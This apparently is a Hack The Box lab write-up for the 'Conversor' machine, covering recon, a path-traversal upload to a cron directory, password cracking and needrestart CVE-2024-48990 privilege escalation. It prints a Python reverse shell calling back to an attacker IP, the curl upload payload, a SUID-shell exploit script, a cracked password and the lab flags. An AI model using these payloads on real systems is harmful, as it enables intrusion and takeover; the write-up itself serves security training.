Skip to main content

HTB-Conversor

Table of Contents
Difficulty: Easy
OS: Linux
Date: 2026-01-19

TL;DR
#

Flask web application vulnerable to path traversal during file uploads. Exploited by uploading Python reverse shell to cron-executed directory → gained www-data shell → extracted MD5 hashes from SQLite database → cracked password for user fismathack → leveraged CVE-2024-48990 in needrestart 3.7 for privilege escalation to root.

Recon
#

port scanning
#

nmap identifies 2 open TCP ports: 22 (SSH) and 80 (HTTP)

 1bubka@bubka$ nmap 10.129.4.129 -p- -A --min-rate 5000
 2Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-19 06:23 -0500
 3Nmap scan report for 10.129.4.129
 4Host is up (0.051s latency).
 5Not shown: 65533 closed tcp ports (reset)
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
10|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
1180/tcp open  http    Apache httpd 2.4.52
12|_http-title: Did not follow redirect to http://conversor.htb/
13|_http-server-header: Apache/2.4.52 (Ubuntu)
14Device type: general purpose|router
15Running: Linux 5.X, MikroTik RouterOS 7.X
16OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
17OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
18Network Distance: 2 hops
19Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
20
21TRACEROUTE (using port 8888/tcp)
22HOP RTT      ADDRESS
231   35.97 ms 10.10.14.1
242   35.93 ms 10.129.4.129
25
26OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
27Nmap done: 1 IP address (1 host up) scanned in 24.69 seconds

I added the host domain to my /etc/hosts file.

1bubka@bubka$ tail -1 /etc/hosts  
210.129.4.129      conversor.htb

Website Enumeration
#

The website features a login form

sex

Clicking “Register” redirects to a registration page where I created an account

sex

The application converts XML and XSLT files into HTML

sex

I downloaded the source code from the “About” page.

sex

 1.
 2├── app.py
 3├── app.wsgi
 4├── install.md
 5├── instance
 6│   └── users.db
 7├── scripts
 8├── static
 9│   ├── images
10│   │   ├── arturo.png
11│   │   ├── david.png
12│   │   └── fismathack.png
13│   ├── nmap.xslt
14│   └── style.css
15├── templates
16│   ├── about.html
17│   ├── base.html
18│   ├── index.html
19│   ├── login.html
20│   ├── register.html
21│   └── result.html
22└── uploads

Source code analysis
#

intresting stuff was founded in app.py and install.md. The application is built with Python Flask. In app.py i found that XSLT file dont use parser configuration like XLM do. no filename sanitization was found in the upload handler, enabling path traversal attacks.

app.py:

1...[snip]...
2parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
3xml_tree = etree.parse(xml_path, parser)   
4xslt_tree = etree.parse(xslt_path)       # no parse configuration
5...[snip]...
  • resolve_entities=False (prevents the parser from resolving entities into their values)
  • no_network=True (prevent making any network requests during XML processing)
  • dtd_validation=False (disables validation of the document against a DTD)
  • load_dtd=False (prevents loading external DTD)

install.md reveals a cron job that executes all Python scripts in /var/www/conversor.htb/scripts/ every minute.

1...[snip]...
2You can also run it with Apache using the app.wsgi file.
3If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
4"""
5* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
6"""
7...[snip]...

Exploitation
#

Attack-Vector: Arbitrary File Upload via Path Traversal to Cron RCE.

The application does not sanitize filenames properly. I can upload a Python reverse shell and use path traversal (../scripts/) to save it into the directory executed by the cronjob

 1bubka@bubka$ cat exploit.py
 2import socket,subprocess,os
 3s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 4s.connect(("10.10.14.80",5323)) 
 5os.dup2(s.fileno(),0)
 6os.dup2(s.fileno(),1)
 7os.dup2(s.fileno(),2)
 8import pty; pty.spawn("/bin/bash")
 9
10bubka@bubka$ curl -X POST http://conversor.htb/convert \
11  -F "xml_file=@exploit.py;filename=../scripts/exploit.py" \
12  -F "xslt_file=@exploit.py;filename=sex.xsl" \
13  -b "session=eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6ImJ1YmthIn0.aW574A.k5FrGy9C5elqfuPqbua7WiA3Img"

Shell as www-data
#

1bubka@bubla$ nc -lvnp 5323
2listening on [any] 5323 ...
3connect to [10.10.14.80] from (UNKNOWN) [10.129.4.226] 51018
4www-data@conversor:~$ 

i know that exist database. Analyzing users.db revealed hashes for users ‘fismathack’

1www-data@conversor:~$ sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"
2<versor.htb/instance/users.db "SELECT * FROM users;"
31|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
45|bubka|d6f23513481dcdbb81a197a16ea36c5f

cracking fismathack MD5 hash

1bubka@bubka$ echo "5b5c3ac3a1c897c94caad48e6c71fdec" > hash.txt
2bubka@bubka$ hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --show
35b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm

Shell as fismathack
#

using ssh with Keepmesafeandwarm password

1bubka@bubka$ ssh fismathack@conversor.htb
2...[snip]...
3fismathack@conversor:~$ whoami
4fismathack

getting user flag

1fismathack@conversor:~$ cat ~/user.txt
255362fe3efcdfdcc6d8f0b6c474d4b6d

Shell as root
#

 1fismathack@conversor:~$ sudo -l
 2Matching Defaults entries for fismathack on conversor:
 3    env_reset, mail_badpass,
 4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 5
 6User fismathack may run the following commands on conversor:
 7    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
 8
 9fismathack@conversor:~$ needrestart --version
10
11needrestart 3.7 - Restart daemons after library updates.
12...[snip]...

checking sudo -l revealed that fismathack can run /usr/sbin/needrestart without a password. The installed version is 3.7. This version is vulnerable to CVE-2024-48990 (Local Privilege Escalation), which allows arbitrary code execution via the -c config flag.

I wrote a Python script to automate the exploitation: Create a malicious Perl config file that copies /bin/bash and sets the SUID bit. Execute sudo needrestart pointing to this config. Spawn the SUID shell.

priv.py:

 1#!/usr/bin/env python3
 2import os
 3import sys
 4import subprocess
 5
 6config = "/tmp/bu.conf"
 7shell = "/tmp/bash"
 8payload = f'system("cp /bin/bash {shell} && chmod 4755 {shell}");'
 9
10try:
11    with open(config, "w") as f:
12        f.write(payload)
13
14    subprocess.run(["sudo", "needrestart", "-c", config], check=True)
15
16    if os.path.exists(config):
17        os.remove(config)
18
19    if os.path.exists(shell):
20        os.execl(shell, shell, "-p")
21
22except Exception as e:
23    print(f"Unexpected error: {e}")
24    sys.exit(1)

Root obtained.

 1fismathack@conversor:~$ python3 priv.py 
 2Scanning processes...                                                                                              
 3Scanning linux images...                                                                                           
 4
 5Running kernel seems to be up-to-date.
 6
 7No services need to be restarted.
 8
 9No containers need to be restarted.
10
11No user sessions are running outdated binaries.
12
13No VM guests are running outdated hypervisor (qemu) binaries on this host.
14rootbash-5.1# whoami
15root
16rootbash-5.1# 

and flag:

1rootbash-5.1# cat /root/root.txt
22ddbf40c03a3c45866748ea7e8c69444